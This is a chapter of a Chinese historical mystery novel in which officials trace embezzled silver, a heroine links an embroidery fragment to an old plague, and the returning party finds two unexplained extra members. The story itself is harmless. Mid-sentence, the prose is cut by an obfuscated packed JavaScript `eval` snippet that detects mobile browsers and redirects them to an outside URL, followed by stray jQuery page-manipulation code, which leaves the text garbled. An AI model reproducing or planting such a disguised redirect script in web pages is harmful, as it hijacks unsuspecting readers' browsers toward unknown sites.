杨徽之与陆眠兰回到驿馆时，手中多了两包还冒着热气的茶酥饼，槐南特产的茶叶末做馅料，混在油酥饼皮里，入夜微凉的风一动，就透出一股甜腻的香气。
裴霜并未休息，仍在灯下查看卷宗。见他们回来，随意抬眼看了看，目光扫过在那茶酥饼时，在纸包上晕开大大小小的油点微停留了一瞬，便又垂了下去。
杨徽之走上前去，将还冒着热气的一包饼搁在他手边：“裴大人，尝尝？味道确实新鲜。”
裴霜没拒绝，但也没有立刻伸手去拿。他只是指了指桌上的一封密信：“才收到的。宜都宁州传来的消息。夏侯昭的老家早已人去屋空，邻居说他两年前举家迁走，说是投奔远亲，但无人知晓去了何处。”
屋内的气氛顿时凝重起来。
“两年前……”陆眠兰轻声道：“正好是账目出现最大亏空的之后，调来赵胥吏的那一年。”
“不是巧合。”杨徽之撕开另一包茶酥饼的油纸，递给陆眠兰一块，自己却没什么心思吃：
“他显然是算好了日子，在事情可能败露前就抽身。只是……他若非背后有靠山，又岂能在短短一年之内，将所有痕迹都抹的一干二净？”
陆眠兰接过他递来的茶叶饼，咬了一口，也吃不下了，便只用帕子包起来，先搁在一旁。
“并非全无痕迹。”裴霜用指尖将密信推向前，待杨徽之俯身去看时，才继续开口：“追踪银钱流向的人发现，那笔一千四百两，被分批汇入阙都的质库，而后又被人迅速提走。”
他边说着，语气也微微冷下去：“提款人手持夏侯昭的身份文书，但经描述核对，并非夏侯昭本人。”
“替死鬼，或者……同伙。”杨徽之沉吟片刻，“他老家在宜都，为何偏要去阙都的质库？是哪家？”
“永昌号。是皇商的产业。”裴霜语气依旧平淡，但陆眠兰明显看到，他的喉结轻轻滚动了一下。
杨徽之沉默下去，陆眠兰也不知该作何回应。
裴霜看着他们两人的神情，轻声呼出一口气。他站起身，拍了拍杨徽之的肩膀，又看向同样愁眉苦脸的陆眠兰：“好在，槐南之行并非一无所获。”
裴霜言简意赅：“杨少卿说得对。能如此干净利落地抹去一个经手巨额亏空官吏的下落，绝非易事。夏侯昭此人，背后定然有靠山。眼下我们在槐南，恐怕已查不到更多了。”
“那接下来，我们要回阙都吗？”陆眠兰问道。
裴霜并没有急着表态，他见杨徽之依然紧锁眉头，无声的叹了口气，又把问题抛了回去：“依你们之见，还有何留在槐南的必要么？”
杨徽之沉吟片刻，开口道：“槐南税案，根基在数年积弊，非一朝一夕能彻底厘清。依我之见，如今舅父商队一案已明朗，足以销案。”
“至于夏侯昭及其背后之人……仍需从长计议，倒不如先回阙都，调动更多卷宗查阅，或许能从其历年调任、经手项目中找到新的线索。”
裴霜点了点头，又看向陆眠兰：“陆姑娘，你呢？”
陆眠兰也点点头，裴霜听她也说过“先回阙都”后，便想先回房整顿，再计划行程。
只是他才刚转过身，没等迈出第一步，陆眠兰便在身后急急张口，连着唤了他两声：“大人，大人等一下！”
“何事？”裴霜又回身看她。
陆眠兰原本是不想开口的，但既然说了要回阙都，就想着干脆趁热打铁，将之前采桑和采薇打听来的线索一并说了，免得夜长梦多。
再者，万一这桩桩件件凑在一起，是真的互有关联，倒也不至于给她治个“知情不报”的罪名。
她原本还纠结着，但裴霜已经转回来等着她开口了。事已至此，索性破罐破摔，在杨徽之疑惑的目光里，硬着头皮说下去。
“这要从何说起……”她斟酌了片刻，忽而没头没尾的问了裴霜一句：“天顾八年，自越东司照而起的那一场大疫，裴大人可曾听说过？”
裴霜面色一僵，目光变得有些深暗。他点了点头，声音都低沉下去：“我知道，怎么了？”
“我阿娘在世时，有过徽阜第一绣娘的威名。”陆眠兰不自觉有些紧张，手心也攥得捂出汗来。
她一字一句往下说着，只觉喉咙发干：“我自幼随着阿娘学习绣艺，之前墨竹和墨玉从尸身指缝里搜寻出来的绸缎残丝，我让采桑拼凑过一份，勉强可以看清一点。”
“按照仅有的针脚走向来看，是那场大疫过后，才在司照流行过的纹样。”
她长话短说，最后虽面上仍是冷静自持，额间却渗出一丝冷汗来：
“但若是司照的富商，定不会将一件过时的衣裳留着整整二十年。但若是此人尚在为官，要做出一副清正廉洁的样子，倒也不无可能。”
陆眠兰说完这番话，长舒一口气。她偏头时看见杨徽之的表情也逐渐变得难看。一时之间，谁也没开口。陆眠兰只觉周身的空气变得黏稠，连这股诡异的沉默都变得极为漫长。
裴霜和杨徽之对视了一眼，终究还是杨徽之打破了这份令人窒息的沉默：“采茶，你能肯定么？不会误判？”
陆眠兰坚定的摇了摇头：“绝不会错。我和采桑采薇都看过。“今日派她们出去，也是为了在槐南的绣铺做参照，没有发现类似绣法。”
裴霜看着陆眠兰的双眼，好一会儿才慢慢点了点头：“我知道了。”
他并未对陆眠兰提出质疑，甚至确实仔仔细细的回想过：“越东偏南一代，确有信仰图腾的风俗，你说得不无道理。但事关重大，只能先待回到阙都复职后，再做决断。”
他言罢深深看了陆眠兰和杨徽之一眼：“明日天亮启程，返回阙都。”他说到这里顿了一下，又问：“回门一事，允你们三天。”
杨徽之和陆眠兰立刻行礼，恭恭敬敬地道了句“多谢大人”后，目送他上楼回房。
两个人皆是松了口气。
片刻后，杨徽之轻声叹息：“你怎么连我也瞒着？”陆眠兰侧目看他，只见这人双眸微微眯起，做得一副有怨气的样子，但其实细听来，那语气里一丝责怪的意思都没有，反而像是有些委屈。
陆眠兰勾唇微微一笑，半真半假道：“杨大人这般通透的人，也没听过一首诗么？”她语气悠悠：“‘至高至明日月，至亲至疏夫妻’啊。”
陆眠兰的声音念起诗来，是与平日说话不一样的好听，恰如千金难求的上好锦缎拂面而过，柔软而不失韵味。
杨徽之本意也不是真的要怪她，所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326606|183255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以哪怕听了她念着样有些生分的诗句来，第一反应也不是不被信任的怄气，反而想让她多读几句来听。
他深知陆眠兰不可能会这么快就全然相信自己，却还是没忍住对她做了句承诺。
夜色渐浓，虫鸣声时有时无。
杨徽之将身子转向她，也不管面前的人到底是不是真的在欣赏夜色，就那么一字一句说得认真：“如果你在某时某刻，需要一个全然可以托付或依赖的人，我希望那个人会是我。”
陆眠兰并没有看他，目光似乎在那般盏月牙上，又或者在某颗透着微光的星子上。她闻言微微一笑，并没有回答。
一直到杨徽之叮嘱她“早些休息”，然后也转身回房时，她才将目光收回，看着杨徽之离去的那个拐角，声音轻的像一阵已吹至即将消散的风，却一字一顿，无比清晰：
“我绝不会依赖旁人。”
——
天光微熹。晨间薄雾虚还在日间，是一日中除去傍晚，难得不那么燥热的时候。
采桑和采薇两个丫头昨日听陆眠兰说要回门的消息后，夜间便翻来覆去的睡不安稳，起床替陆眠兰梳洗时，哈欠连天的打，一个接着一个。
陆眠兰听见采薇小声嘀咕的一句“怎么又要回去看舅老爷和舅夫人的脸色……”
话音未落，采桑便用胳膊肘轻轻顶了她一下。可采薇在铜镜中与她对视时，分明也看到阿姊一样的满面愁容。
她们下楼时，驿站外已备好车马。裴霜行事向来利落，既定下行程时间，便无半分拖延。随行侍卫与衙役皆已整装待发，在晨雾中肃立，一眼看去，无声透着一股紧绷的气氛。
杨徽之护着陆眠兰登上马车，自己则翻身上马，行在车驾旁。
他的目光慢慢地扫过队列，看见裴霜正与领队的侍卫低声交代最后几句，眉宇间凝着一丝不易察觉的凝重。看似一切如常，但杨徽之心里却隐隐泛起一丝不安。
车马启动，辚辚驶离柳州地界的驿站，官道在车轮下延伸。为尽早返抵阙都，裴霜选了稍近但略僻静的官道。
途中他曾两次抬手，示意队伍略微放缓速度，目光如鹰隼般掠过前后人马，每一次，都让杨徽之搭在剑柄上的手指微微收紧一分。
陆眠兰隔着车帘也能察觉到他异样的沉默，低声问道：“怎么了？”
杨徽之微微摇头：“不知道，但总觉着心里不踏实。”他替陆眠兰整理好车帘，向远望去。队伍行进有序，并无骚乱，但他心下那一丝模糊的不安始终没有消散。
陆眠兰靠着车壁，一夜未能安枕的困倦渐渐袭来，正当她眼皮沉重欲阖时，马车外传来一阵极其轻微的骚动，随即是墨玉压低的、带着一丝难以置信的禀报声：“大人……”
杨徽之眉头一蹙，微微低下身子，亦将声线放轻：“何事？”
墨玉靠近，自然而然走过去，看样子只是在为杨徽之牵绳。他声音低得几乎被风声掩盖：
“方才清点人数，护卫、仆役连同车夫，共计应有八十三人。但……属下和墨竹反复核验了三遍，现下队中，实有八十五人。”
空气骤然一凝。连昏昏欲睡的陆眠兰也瞬间清醒，她小心翼翼地掀起车帘，与杨徽之对视一眼，均在对方眼中看到了惊疑。